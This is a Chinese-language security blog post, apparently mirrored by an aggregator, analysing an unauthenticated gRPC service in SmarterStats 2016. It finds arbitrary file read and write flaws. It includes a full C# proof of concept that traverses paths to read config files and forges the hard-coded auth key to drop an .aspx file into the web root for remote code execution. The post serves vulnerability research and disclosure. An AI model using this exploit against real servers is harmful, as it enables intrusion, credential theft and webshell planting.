4

SmarterStats 基于gRPC的RCE

 1 year ago
source link: https://y4er.com/post/smarterstats-grpc-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

SmarterStats 基于gRPC的RCE

老外又发洞了

2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe

安装可以看官方的文档 https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx

SSSvc.exe运行在50003端口上,默认监听0.0.0.0

1.png

拉到dnspy中看一下

2.png

main函数启动了一个SSCollect服务类。

3.png

服务类调用了ServiceWorker.StartService()

4.png

新起了一个线程运行ServiceLifetimeFunction函数

5.png

这里调了ServiceWorker.Start()

6.png

start中调用GrpcManager.StartGrpc()开启监听gRPC。

继续看gRPC,在StartGrpc中,定义了四个服务

7.png
  1. Query -> QueryServiceImplementation
  2. SiteList -> SiteListServiceImplementation
  3. ServiceOperations -> ServiceOperationsServiceImplementation
  4. SiteControl -> SiteControlServiceImplementation

并且端口绑定在0.0.0.0:50003上

随便点开一个服务实现来看 QueryServiceImplementation

8.png

ServiceOperationsServiceImplementation

9.png

能看到grpc的远程调用函数实现。

先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example 项目

Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)的Query类中,给了我们rpc client的工具类

10.png

直接把这个dll加入到引用中,然后代码如下。

11.png

这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)

那么接下来就是简单的寻找漏洞点了。

SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext) 任意文件读取

这里需要关闭dnspy的编译优化才能看到具体逻辑

12.png

13.png

14.png

SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)

任意文件写入

15.png

有个加密key硬编码,等于没用。

16.png
using Grpc.Core;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SmarterStats.Config.Protos;
using Google.Protobuf.WellKnownTypes;
using SmarterStats.Config.Utility;
using System.IO;
using Google.Protobuf;

namespace Routeguide
{
    class Program
    {
        static async Task<int> Main(string[] args)
        {
            var channel = new Channel("172.16.16.132:50003", ChannelCredentials.Insecure);
            ServiceOperations.ServiceOperationsClient client = new ServiceOperations.ServiceOperationsClient(channel);
            GetExportedLogsForSiteRequest request = new GetExportedLogsForSiteRequest();
            request.FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml";
            AsyncServerStreamingCall<GetExportedLogsForSiteResponse> asyncServerStreamingCall = client.GetExportedLogsForSite(request);
            while (await asyncServerStreamingCall.ResponseStream.MoveNext())
            {
                Console.WriteLine(asyncServerStreamingCall.ResponseStream.Current.Data.ToStringUtf8());
            }

            SaveFileToRequest saveFileToRequest = new SaveFileToRequest();
            saveFileToRequest.Filename = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx";
            CryptographyHelper cryptographyHelper = new CryptographyHelper(0);
            Timestamp timestamp = Timestamp.FromDateTime(DateTime.UtcNow);
            saveFileToRequest.CreationDate = timestamp;
            saveFileToRequest.LastWriteDate = timestamp;
            cryptographyHelper.SetKey(saveFileToRequest.CreationDate.ToDateTime().ToString("MMddyyyy") + " ksghsfkgjh", null);
            string auth = cryptographyHelper.EncodeToBase64(saveFileToRequest.Filename);
            saveFileToRequest.Auth = auth;
            saveFileToRequest.FileData = ByteString.CopyFromUtf8(File.ReadAllText(@"1.txt"));
            client.SaveFileTo(saveFileToRequest);
            Console.WriteLine("write done.");
            Console.ReadKey();
            return 0;
        }
    }
}
csharp

GetExportedLogsForSite文件读取截取了文件名并且加了鉴权

17.png

SaveFileTo 文件写入限制了后缀白名单并且正则限制了路径

18.png

SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?涉及到rpc,存不存在反序列化问题呢?

wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了之后再说吧。

19.png
  1. https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK